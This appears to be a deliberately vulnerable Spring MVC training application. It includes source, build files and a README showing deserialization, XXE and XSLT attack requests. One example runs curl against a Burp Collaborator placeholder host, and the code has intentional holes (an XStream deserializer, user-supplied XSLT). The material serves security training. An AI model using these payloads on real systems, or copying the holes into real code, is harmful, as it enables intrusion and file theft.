├── .gitignore
├── Dockerfile
├── README.md
├── doc.xslt
├── pom.xml
└── src
├── main
├── java
│ └── org
│ │ └── insecurelabs
│ │ ├── CorsFilter.java
│ │ └── api
│ │ └── contacts
│ │ ├── ActualContact.java
│ │ ├── Contact.java
│ │ ├── ContactController.java
│ │ ├── ContactRepository.java
│ │ └── Formatter.java
└── webapp
│ └── WEB-INF
│ ├── applicationContext.xml
│ ├── rest-servlet.xml
│ └── web.xml
└── test
└── resources
└── log4j.properties
/.gitignore:
--------------------------------------------------------------------------------
1 | *.class
2 |
3 | # Package Files #
4 | *.jar
5 | *.war
6 | *.ear
7 |
8 | # Eclipse
9 | .project
10 | .classpath
11 | .settings/
12 | bin/**
13 | target/**
14 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM maven:3-jdk-8
2 |
3 | WORKDIR /app
4 |
5 | COPY src /app/src/
6 | COPY pom.xml /app
7 |
8 | RUN mvn compile
9 |
10 | CMD mvn jetty:run
11 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Vulnerable Spring MVC API
2 | Vulnerable to:
3 |
4 | * deserialization attacks (OWASP Top 10 A8)
5 | * XXE (OWASP Top 10 A4)
6 | * XSLT abuse (XSLT 1.0 and 2.0)
7 |
8 | ### Running with maven
9 |
10 | 1. `git clone https://github.com/eoftedal/deserialize.git`
11 | 2. `cd deserialize`
12 | 3. `mvn jetty:run`
13 |
14 | Accessible on port 8080
15 |
16 | ### Running in docker
17 | 1. `git clone https://github.com/eoftedal/deserialize.git`
18 | 2. `cd deserialize`
19 | 3. `docker build -t deserialize .`
20 | 4. `docker run -p 8080:8080 -it deserialize`
21 |
22 | ## Normal request
23 |
24 | ```
25 | POST /api/contacts HTTP/1.1
26 | Host: localhost
27 | Content-Type: application/xml
28 | Accept: application/xml
29 |
30 |
31 | yo
32 | lo
33 | yo@lo.no
34 |
35 | ```
36 |
37 | ## Deserialization attack
38 |
39 | ```
40 | POST /api/contacts HTTP/1.1
41 | Host: localhost
42 | Content-Type: application/xml
43 | Accept: application/xml
44 |
45 |
46 | org.insecurelabs.api.contacts.Contact
47 |
48 |
49 | /usr/bin/curlhttp://[yourid].burpcollaborator.net
50 |
51 | start
52 |
53 |
54 | ```
55 |
56 | ## XXE
57 |
58 | ```
59 | POST /api/contacts HTTP/1.1
60 | Host: localhost
61 | Content-Type: application/xml
62 | Accept: application/xml
63 |
64 |
65 |
67 |
68 | ]>
69 |
70 | &content;
71 | lo
72 | yo@lo.no
73 |
74 | ```
75 |
76 | ## XSLT 2.0
77 |
78 | You have to run at least one normal request first.
79 |
80 | ```
81 | POST /api/contacts/1/html HTTP/1.1
82 | Host: localhost
83 | Content-Type: application/xslt
84 | Accept: text/html
85 | Content-Length: 241
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 | ```
94 |
95 | You can also use URLs instead of file names with `unparsed-text()`. And of course XXE in the XSLT.
96 |
97 | # Resources
98 | http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/
99 |
--------------------------------------------------------------------------------
/doc.xslt:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 | org.insecurelabs
5 | vulnerable-rest-api
6 | war
7 | 0.0.1-SNAPSHOT
8 | Vulnerable REST API
9 |
10 |
11 | 4.0.0.RELEASE
12 | 6.1.26
13 | 1.6.1
14 | UTF-8
15 | 1.2.16
16 |
17 |
18 |
19 |
20 |
21 | org.springframework
22 | spring-core
23 | ${spring.version}
24 |
25 |
26 |
27 | org.springframework
28 | spring-expression
29 | ${spring.version}
30 |
31 |
32 |
33 | org.springframework
34 | spring-beans
35 | ${spring.version}
36 |
37 |
38 |
39 | org.springframework
40 | spring-context
41 | ${spring.version}
42 |
43 |
44 |
45 | org.springframework
46 | spring-oxm
47 | ${spring.version}
48 |
49 |
50 |
51 | org.springframework
52 | spring-aop
53 | ${spring.version}
54 |
55 |
56 |
57 |
58 | org.springframework
59 | spring-web
60 | ${spring.version}
61 |
62 |
63 |
64 | org.springframework
65 | spring-webmvc
66 | ${spring.version}
67 |
68 |
69 |
70 | net.sf.saxon
71 | saxon
72 | 8.5.1
73 |
74 |
75 |
76 |
77 |
78 | org.hibernate
79 | hibernate-validator
80 | 4.2.0.Final
81 |
82 |
83 |
84 |
85 | org.codehaus.jackson
86 | jackson-mapper-asl
87 | 1.7.1
88 |
89 |
90 |
91 |
92 | com.thoughtworks.xstream
93 | xstream
94 | 1.4.4
95 | false
96 |
97 |
98 |
99 |
100 | org.mortbay.jetty
101 | jetty
102 | ${jetty.version}
103 |
104 |
105 |
106 | org.mortbay.jetty
107 | jetty-util
108 | ${jetty.version}
109 |
110 |
111 |
112 |
113 | org.slf4j
114 | slf4j-api
115 | ${slf4j.version}
116 | jar
117 |
118 |
119 | org.slf4j
120 | jcl-over-slf4j
121 | ${slf4j.version}
122 | jar
123 |
124 |
125 | org.slf4j
126 | slf4j-log4j12
127 | ${slf4j.version}
128 | jar
129 |
130 |
131 |
132 | log4j
133 | log4j
134 | ${log4j.version}
135 | jar
136 |
137 |
138 |
139 |
140 |
141 | junit
142 | junit
143 | 4.8.1
144 | test
145 |
146 |
147 |
148 |
149 | vulnerable-rest-api
150 |
151 |
152 | org.eclipse.jetty
153 | jetty-maven-plugin
154 | 9.0.6.v20130930
155 |
156 |
157 | /api
158 |
159 |
160 |
161 |
162 |
163 |
164 |
--------------------------------------------------------------------------------
/src/main/java/org/insecurelabs/CorsFilter.java:
--------------------------------------------------------------------------------
1 | package org.insecurelabs;
2 |
3 | import java.io.IOException;
4 |
5 | import javax.servlet.FilterChain;
6 | import javax.servlet.ServletException;
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 | import org.springframework.web.filter.OncePerRequestFilter;
10 |
11 | public class CorsFilter extends OncePerRequestFilter {
12 |
13 | @Override
14 | protected void doFilterInternal(HttpServletRequest request,
15 | HttpServletResponse response, FilterChain filterChain)
16 | throws ServletException, IOException {
17 | response.addHeader("Access-Control-Allow-Origin", "*");
18 | if (request.getHeader("Access-Control-Request-Method") != null
19 | && "OPTIONS".equals(request.getMethod())) {
20 | // CORS "pre-flight" request
21 | response.addHeader("Access-Control-Allow-Methods",
22 | "GET, POST, PUT, DELETE");
23 | response.addHeader("Access-Control-Allow-Headers",
24 | "X-Requested-With,Origin,Content-Type, Accept");
25 | }
26 | filterChain.doFilter(request, response);
27 | }
28 |
29 | }
--------------------------------------------------------------------------------
/src/main/java/org/insecurelabs/api/contacts/ActualContact.java:
--------------------------------------------------------------------------------
1 | package org.insecurelabs.api.contacts;
2 |
3 | import javax.xml.bind.annotation.XmlRootElement;
4 | import javax.xml.bind.annotation.XmlElement;
5 |
6 | @XmlRootElement(name = "contact")
7 | public class ActualContact implements Contact {
8 |
9 | private String firstName;
10 | private String lastName;
11 | private int id;
12 | private String email;
13 |
14 | public int getId() {
15 | return id;
16 | }
17 | public void setId(int id) {
18 | this.id = id;
19 | }
20 | public String getFirstName() {
21 | return firstName;
22 | }
23 | public void setFirstName(String firstName) {
24 | this.firstName = firstName;
25 | }
26 | public String getLastName() {
27 | return lastName;
28 | }
29 | public void setLastName(String lastName) {
30 | this.lastName = lastName;
31 | }
32 | public String getEmail() {
33 | return email;
34 | }
35 | public void setEmail(String email) {
36 | this.email = email;
37 | }
38 |
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/org/insecurelabs/api/contacts/Contact.java:
--------------------------------------------------------------------------------
1 | package org.insecurelabs.api.contacts;
2 |
3 | import javax.xml.bind.annotation.XmlRootElement;
4 | import javax.xml.bind.annotation.XmlElement;
5 |
6 | @XmlRootElement(name = "contact")
7 | public interface Contact {
8 |
9 | public int getId();
10 | public void setId(int id);
11 | public String getFirstName();
12 | public void setFirstName(String firstName);
13 | public String getLastName();
14 | public void setLastName(String lastName);
15 | public String getEmail();
16 | public void setEmail(String email);
17 |
18 | }
19 |
--------------------------------------------------------------------------------
/src/main/java/org/insecurelabs/api/contacts/ContactController.java:
--------------------------------------------------------------------------------
1 | package org.insecurelabs.api.contacts;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.ui.Model;
5 | import org.springframework.web.bind.annotation.PathVariable;
6 | import org.springframework.web.bind.annotation.RequestMapping;
7 | import org.springframework.web.bind.annotation.RequestMethod;
8 | import org.springframework.http.HttpStatus;
9 | import org.springframework.web.bind.annotation.ResponseStatus;
10 | import org.springframework.web.bind.annotation.RequestBody;
11 | import org.springframework.web.bind.annotation.ResponseBody;
12 | import org.springframework.beans.factory.annotation.Autowired;
13 | import org.springframework.http.ResponseEntity;
14 | import org.springframework.web.servlet.ModelAndView;
15 | import org.springframework.http.*;
16 |
17 | import javax.xml.parsers.*;
18 | import org.w3c.dom.*;
19 | import java.io.*;
20 | import org.xml.sax.*;
21 |
22 |
23 | @Controller
24 | @RequestMapping("/contacts")
25 | public class ContactController {
26 | @Autowired
27 | private ContactRepository contactRepository;
28 |
29 | @RequestMapping( method = RequestMethod.POST)
30 | @ResponseStatus( HttpStatus.CREATED )
31 | public final ModelAndView create( @RequestBody Contact contact ){
32 | System.out.println("Creating new contact: " + contact.getFirstName());
33 | contactRepository.save(contact);
34 | return new ModelAndView("", "responseObject", contact);
35 | }
36 |
37 | @ResponseStatus( HttpStatus.OK )
38 | @RequestMapping(value = " /{id}", method=RequestMethod.GET)
39 | public final ModelAndView create( @PathVariable int id ){
40 | Contact contact = contactRepository.get(id);
41 | return new ModelAndView("", "responseObject", contact);
42 | }
43 |
44 | @ResponseStatus( HttpStatus.OK )
45 | @RequestMapping(value = " /{id}/html", method=RequestMethod.POST)
46 | @ResponseBody
47 | public final String format(@PathVariable int id, HttpEntity xslt ){
48 | Contact contact = contactRepository.get(id);
49 | try {
50 | String xml = Formatter.format(contact, xslt.getBody());
51 | return xml;
52 | } catch(Exception ex) {
53 | return ex.getMessage();
54 | }
55 | }
56 |
57 |
58 |
59 | }
60 |
--------------------------------------------------------------------------------
/src/main/java/org/insecurelabs/api/contacts/ContactRepository.java:
--------------------------------------------------------------------------------
1 | package org.insecurelabs.api.contacts;
2 |
3 | import org.springframework.stereotype.Service;
4 | import java.util.Hashtable;
5 |
6 | @Service
7 | public class ContactRepository {
8 | static Hashtable store = new Hashtable();
9 | static int counter = 0;
10 |
11 | public void save(Contact contact) {
12 | int id = ++counter;
13 | contact.setId(id);
14 | store.put(id, contact);
15 | }
16 | public Contact get(int id) {
17 | return store.get(id);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/org/insecurelabs/api/contacts/Formatter.java:
--------------------------------------------------------------------------------
1 | package org.insecurelabs.api.contacts;
2 |
3 | import com.thoughtworks.xstream.*;
4 | import com.thoughtworks.xstream.io.xml.*;
5 | import java.io.*;
6 | import javax.xml.transform.*;
7 | import javax.xml.transform.stream.*;
8 | import java.nio.*;
9 | import java.nio.file.*;
10 |
11 | public class Formatter {
12 | public static String format(Contact contact, String xslt) throws Exception {
13 | System.out.println(xslt);
14 | XStream xstream = new XStream();
15 | xstream.alias("contact", Contact.class);
16 |
17 | Path path = Paths.get("./doc.xslt");
18 | Files.write(path, xslt.getBytes());
19 | System.out.println(path.toString());
20 | TraxSource traxSource = new TraxSource(contact, xstream);
21 | Writer buffer = new StringWriter();
22 | Transformer transformer = TransformerFactory.newInstance().newTransformer(
23 | new StreamSource(path.toFile()));
24 | transformer.transform(traxSource, new StreamResult(buffer));
25 | return buffer.toString();
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/applicationContext.xml:
--------------------------------------------------------------------------------
1 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/rest-servlet.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
24 |
25 |
26 |
27 |
28 |
29 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 | rest-api
7 |
8 |
9 | rest
10 | org.springframework.web.servlet.DispatcherServlet
11 | 1
12 |
13 |
14 |
15 | rest
16 |
17 | /*
18 |
19 |
20 |
21 |
22 | org.springframework.web.context.ContextLoaderListener
23 |
24 |
25 |
26 | contextConfigLocation
27 |
28 | /WEB-INF/applicationContext.xml
29 |
30 |
31 |
32 |
33 | corsFilter
34 | org.springframework.web.filter.DelegatingFilterProxy
35 |
36 |
37 |
38 | corsFilter
39 | /*
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/src/test/resources/log4j.properties:
--------------------------------------------------------------------------------
1 | # Global logging configuration
2 | log4j.rootLogger=INFO, stdout, file
3 | # Console output...
4 | log4j.appender.stdout=org.apache.log4j.ConsoleAppender
5 | log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
6 | log4j.appender.stdout.layout.ConversionPattern=%5p [%t] - %m%n
7 |
8 | log4j.appender.file=org.apache.log4j.FileAppender
9 | log4j.appender.file.layout=org.apache.log4j.PatternLayout
10 | log4j.appender.file.layout.ConversionPattern=%5p [%t] - %m%n
11 | log4j.appender.file.file=target/testlogs/output.log
12 |
13 | # set spring framework debugging on. This is useful when checking beans are being loaded, urls are being hit, etc.
14 | log4j.logger.org.springframework=DEBUG
15 | # turn on debugging for our code.
16 | log4j.logger.com.spidertracks=DEBUG
--------------------------------------------------------------------------------